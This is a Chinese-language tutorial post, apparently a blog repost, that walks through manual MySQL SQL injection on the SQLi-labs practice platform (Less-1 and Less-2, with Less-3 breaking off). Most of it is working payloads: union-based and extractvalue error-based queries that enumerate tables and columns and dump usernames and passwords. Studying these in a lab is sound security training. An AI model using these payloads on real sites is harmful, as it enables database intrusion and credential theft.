MySQL手工注入学习-1

MySQL手工注入学习 SQLi-labs 手工注入学习

以下是通过SLQi-labs平台的部分简单例题的手工注入过程

Less-1:union联合查询注入

页面提示:Please input the ID as parameter with numeric value

我们首先构造id参数值:

?id=1\' or 1=1--+

确定存在注入点,并猜测SQL语句为:

select [字段] from [表] where [id]="$id"; 猜解列数:

因为UNION联合语句函数的格式要求,UNION后的联合语句的回显字段数要和UNION前的回显列数一致……

order by * union select 1,2,……

MySQL手工注入学习-1

爆表:

注意:id的value我们需要给一个不存在结果的value

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

group_concat(): 将group by产生的同一个分组中的值连接起来,返回一个字符串结果

上段~将数据库中的所有表名拼接成一个字符串返回

MySQL手工注入学习-1

爆字段: union select 1,group_concat(column_name),3 from information_schema.columns where table_name=\'emails\' --+

MySQL手工注入学习-1

爆数据: union select 1,group_concat(id,0x7e,email_id),3 from emails --+

MySQL手工注入学习-1

Less-1:报错注入 爆表: and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1 --+

extractvalue(XML,XPath)从目标XML中返回包含查询值得字符串

参数XML:String格式,为XML文档对象得名称

参数XPath:xpath格式得字符串

因为我们在xpath输入的不是要求的xpath格式的字符串,所以函数会报错返回xpath参数内容

xpath会被带入mysql进行执行操作,发现不是xpath格式,但是只有在执行后才会发现,就会执行concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())sql代码,查询内容并且concat拼接字符串,随后由extractvalue函数返回报错~

MySQL手工注入学习-1

爆字段: and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=\'users\')))=1 --+

MySQL手工注入学习-1

爆数据: and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)))=1 --+

MySQL手工注入学习-1

从返回的结果发现问题,没有显示全部的字段信息;可以利用筛选过滤条件来

and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users where username not in (\'Dumb\',\'Angelina\'))))=1 --+

利用条件where约束来过滤掉我们已知的字段信息,于是mysql在执行的时候就会越过Dumb和Angelina信息,显示后面的信息……以此类推!我们就可以通过不断的条件绕过回显的模式来获取所有内容!在很多情况下我们发现无法完全回显内容,都可以利用这个方法来绕过已知字段信息

Less-2

通过判断注入点的语句,判断注入点为数字型注入点

?id=1 and 1=1 --+ #判断数字型注入点 ?id=1\' and 1=1 --+ #判断字符型注入点

MySQL手工注入学习-1

union联合注入爆表: ?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 报错注入报表: ?id=0 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

Less2的具体攻击方法和Less1一样,不同的是Less2是数字型注入,不需要单引号闭合

Less-3

判断注入点

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zzfpdy.html